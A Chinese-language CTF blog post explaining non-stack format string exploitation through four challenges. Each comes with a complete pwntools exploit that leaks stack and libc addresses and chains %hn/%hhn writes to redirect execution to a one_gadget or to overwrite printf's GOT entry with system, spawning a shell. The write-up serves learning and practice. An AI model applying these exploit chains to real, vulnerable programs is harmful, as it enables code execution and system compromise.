又想水博客了,水一篇非栈上格式化字符串的小结。本文纯粹是我的个人理解,如果有错误欢迎师傅指正。
有时候自己一个人搞这种东西卡在一个点上是真的难受得搞半天 好想要有个师傅可以学习交流😭 可惜我也快不打这个了
litctf2025 onlyone
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115
| from pwn import* from struct import pack import ctypes
from ae64 import AE64 def bug(): gdb.attach(p) pause() def s(a): p.send(a) def sa(a,b): p.sendafter(a,b) def sl(a): p.sendline(a) def sla(a,b): p.sendlineafter(a,b) def r(a): p.recv(a)
def rl(a): return p.recvuntil(a) def inter(): p.interactive() def get_addr(size): return u64(p.recv(size).ljust(8,b'\x00')) def get_addr64(): return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) def get_addr32(): return u32(p.recvuntil("\xf7")[-4:]) def get_sb(): return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__() def get_hook(): return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook'] li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc-2.31.so')
elf=ELF('./fmt')
p = process('./fmt') rl(b'0x') stack=int(p.recv(12),16) li(hex(stack)) rl(b'0x') libc_base=int(p.recv(12),16)-libc.sym['puts'] li(hex(libc_base)) ogg=libc_base+0xe3b01 addr=(stack&0xffff)-15 payload = b'%p'*9 payload += b'%'+str(addr - 92).encode()+b'c%hn' payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
s(payload) add=(stack+17-0x18)&0xffff li(hex(add)) sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add+2-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg>>16&0xffff)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str(add+2+2-0x7b).encode()+b'c%27$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
sleep(0.5) payload = b'%'+str(0x7b).encode()+b'c%39$hhn' payload+= b'%'+str((ogg>>32)-0x7b).encode()+b'c%41$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
payload = b'%'+str(0x069e).encode()+b'c%39$hn' payload =payload.ljust(0x100,b'\x00')
s(payload)
inter()
|
先贴上脚本更好理解一些,本题是非栈上格式化字符串

这个addr是rsp-8 即db98 也就是刚刚的返回地址
由于是非栈上格式化字符串 所以我们要布置二级指针

我们就要利用这里的rbp+0x18这行结果
第11的偏移就是dbc8
第39的偏移就是dca8
1 2
| payload = b'%p'*9 payload += b'%'+str(addr - 92).encode()+b'c%hn'
|
这段就控制第3个参数为addr 也就是db98
这里是控制第11偏移的参数 ,因为printf 解析参数会根据 % 进行判断,在 hn 前面一共有 11个 %,所以这个 %xxxc%hn 会将 xxx 数据加上 %p 泄露的字符个数写入第十一个参数。
是不是不知道92是怎么来的,我们还要先减去%p泄露出来的字节,这部分要怎么算呢,当然是接收了
1 2
| a=p.recvall() print(len(a)-1)
|

为啥减一 是因为接收时候多接收了个\n
所以我们就把第三个参数改成了addr,下面你改第四个参数就能改变返回地址了
这里为什么前面要这么多%p这样做呢 而不是像平时那样直接%11$然后接上后面的39呢
因为这样我们只能正确的修改第三个参数,第三个指向的第四个参数并不能改变成正确的返回地址
而是修改的是原本第三的参数所指向的第四个参数

如图 所以就不能这么写 非栈上就像我这么写
1
| payload += b'%'+str(0x10007b-addr).encode()+b'c%39$hhn'
|
这段就控制第4个参数为你想要去到的返回地址,代码中为7b 也就是puts开始的地址,回去再执行。
到这里我们就可以一直进行无限次数的printf了
那么我们拿shell的具体思路是修改栈顶rsp(也就是ret+8)为one_gadget,最后把printf返回地址修改成ret,来触发one_gadget。
正常把返回地址修改为one_gadget也就是rbp+8是没办法执行的
那么我们就可以再次利用二次指针进行修改,把rsp的值修改为one_gadget

我们就可以用这里来修改
这一行就是第27参数
1 2 3 4 5
| payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str(add-0x7b).encode()+b'c%27$hn'
payload =payload.ljust(0x100,b'\x00')
|
那么就把第三个参数改成rsp(add是rsp的地址)
1 2 3 4 5
| payload = b'%'+str(0x7b).encode()+b'c%39$hhn'
payload+= b'%'+str((ogg&0xffff)-0x7b).encode()+b'c%41$hn'
payload =payload.ljust(0x100,b'\x00')
|
把第四个参数改成one_gadget
明明这么修改就可以了 为啥还要补齐到0x100 是为了避免read把两次读入的payload一次读入
格式化字符串总有这种问题。
两字节两字节的赋值
1 2 3 4 5
| payload = b'%'+str(0x069e).encode()+b'c%39$hn'
payload =payload.ljust(0x100,b'\x00')
s(payload)
|
最后修改返回地址为ret即可,然后就执行了one_gadget

成功拿到shell
第六届强网拟态 fmt
与此非常类似的一道就是以前强网拟态的一道非栈上格式化字符串
这道题也是只能够进行一次格式化字符串并且是非栈上的


像上题一样改rsp-8也就是图中db08的地方

利用这两个链表11和39改返回地址为read刚开始时候
开始给了栈地址但是没给libc地址 所以刚开始泄露的时候接收一下就有libc基址了
刚开始送给我们的值是rsp地址+4的位置 所以返回地址就是value-c,rsp的地址就是value-4
第一波先把返回地址改回来
1 2 3 4 5 6 7 8 9
| printf_ret=value-0xc payload=b'%p'*9 payload+=b'%'+str((printf_ret)-90).encode()+b'c%hn' payload+=b'%'+str(0x100023-((printf_ret))).encode()+b'c%39$hhn' payload=payload.ljust(0x100,b'\x00') p.send(payload) p.recvuntil("0x100") libc_base=int(p.recv(14),16)-0x10e1f2 dir('libc_base')
|
别忘了减掉前面%p带出来的90
后面几波就改rsp指向的地址为one_gadget

利用这两个链子分别是第27和41参数

这里就把rsp指向地址改成one_gadget
最后一波把返回地址改成ret那么就会执行了

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * dir = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s))) context.log_level='debug' p=process('./fmt') libc=ELF('./libc.so.6')
p.recvuntil('Gift: ') value=int(p.recv(4),16) dir('value')
printf_ret=value-0xc payload=b'%p'*9 payload+=b'%'+str((printf_ret)-90).encode()+b'c%hn' payload+=b'%'+str(0x100023-((printf_ret))).encode()+b'c%39$hhn' payload=payload.ljust(0x100,b'\x00') p.send(payload) p.recvuntil("0x100") libc_base=int(p.recv(14),16)-0x10e1f2 dir('libc_base')
one_gadget=libc_base+0xe3b01
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((value-4))-0x23).encode()+b'c%27$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str((one_gadget&0xffff)-0x23).encode()+b'c%41$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((value-4+2))-0x23).encode()+b'c%27$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((one_gadget>>16)&0xffff)-0x23).encode()+b'c%41$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((value-4+2+2))-0x23).encode()+b'c%27$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0x23).encode()+b'c%39$hhn' payload+=b'%'+str(((one_gadget>>32)&0xffff)-0x23).encode()+b'c%41$hn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
payload=b'%'+str(0xc4).encode()+b'c%39$hhn' payload=payload.ljust(0x100,b'\x00') p.send(payload)
p.interactive()
|
这两题都是只能一次并且无return的
nss3rd ezfmt

这题给了7次printf机会 所以可以一次泄露加3次修改

本题由于有好几次格式化字符串可利用 所以不需要像前面一样并且后面结束后有leave ret 所以我们直接改返回地址也就是rbp+8为one_gadget就行
改完之后他后面就跳转执行了

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
|
from pwn import *
context(os='linux',arch='amd64',log_level='debug') libc=ELF('./libc-2.31.so') elf=ELF('./attachment') p = process('./attachment')
p.recvuntil(">") payload=b'%6$p%9$p'
p.send(payload) p.recvuntil(b'0x') stack=int(p.recv(12),16)-232 print(hex(stack)) p.recvuntil(b'0x') libc_base=int(p.recv(12),16)-libc.sym['__libc_start_main']-243 print(hex(libc_base)) ogg=[0xe6aee,0xe6af1,0xe6af4] one_gadget=libc_base+ogg[1] print(hex(one_gadget)) p.recvuntil(">") pay2=b'%'+str(stack&0xffff).encode()+b'c%11$hn' pay2=pay2.ljust(0x100,b'\x00') p.send(pay2) p.recvuntil(">") pay3=b'%'+str(one_gadget&0xffff).encode()+b'c%39$hn' pay3=pay3.ljust(0x100,b'\x00') p.send(pay3)
p.recvuntil(">") pay4=b'%'+str(stack+2&0xffff).encode()+b'c%11$hn' pay4=pay4.ljust(0x100,b'\x00') p.send(pay4)
p.recvuntil(">") pay5=b'%'+str(one_gadget>>16&0xffff).encode()+b'c%39$hn' pay5=pay5.ljust(0x100,b'\x00') p.send(pay5)
p.recvuntil(">") pay6=b'%'+str(stack+4&0xffff).encode()+b'c%11$hn' pay6=pay6.ljust(0x100,b'\x00') p.send(pay6)
p.recvuntil(">") pay7=b'%'+str(one_gadget>>32).encode()+b'c%39$hn' pay7=pay7.ljust(0x100,b'\x00') p.send(pay7)
p.interactive()
|
20250xgame FMT

看到无限次利用格式化漏洞

这里就和前面的题目不太一样 rsp没指东西 这题可以用改写got表的方式获取shell
可以利用链子先改写printf_got到栈上

然后接下来这一步
在利用相同的链子将第10个参数的位置改写成printf_got+1的地址
注意改写时候需要改写的字节数第一次改两字节 第二次改4字节把这个0x100000000玩意覆盖完变成printf_got+1

后面再将这两个改写成system(为啥不直接覆盖呢而是还要写一个printf_got+1地址 因为我们只需要覆盖3个字节 但是我们只能一次性覆盖一二四字节并不能只覆盖三字节 所以我们这分开成一字节和二字节覆盖 我自己理解是这样的)

下一次输入/bin/sh就是printf(/bin/sh)也就相当于system(/bin/sh)得到shell

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import *
libc = ELF('./libc.so.6') elf = ELF('./pwn') p=process('./pwn')
p.sendafter(b'?\n', b'%11$p') stack = int(p.recvuntil(b'But', drop=True), 16) success('stack--> '+hex(stack)) success('printf--> '+hex(elf.got['printf'])) gdb.attach(p,'b *0x401226\nc') target = stack-0x100 payload = b'%' + str(target & 0xffff).encode() + b'c%11$hn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) payload = b'%' + str(elf.got['printf'] & 0xffff).encode() + b'c%41$hn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) payload = b'%' + str((target + 8) & 0xff).encode() + b'c%11$hhn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) payload = b'%' + str((elf.got['printf'] + 1) & 0xffff).encode() + b'c%41$hn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) payload = b'%' + str((target + 8 + 2) & 0xff).encode() + b'c%11$hhn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) payload = b'%' + str((elf.got['printf'] >> 16) & 0xff).encode() + b'c%41$n' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload)
p.sendafter(b'?\n', b'%9$s') libc_base = u64(p.recvuntil(b'But', drop=True).ljust(8, b'\x00'))-libc.sym['printf'] success('libc_base--> '+hex(libc_base)) system = libc_base + libc.sym['system'] success('system--> '+hex(system))
payload = b'%' + str(system & 0xff).encode() + b'c%9$hn' payload += b'%' + str((system >> 8) & 0xffff).encode() + b'c%10$hn' payload=payload.ljust(0x200, b'\x00') p.sendafter(b'?\n', payload) p.sendafter(b'?\n', b'/bin/sh') p.interactive()
|
这些就是全部内容了,相信经过本文的学习你已经成为了非栈上格式化字符串高手了。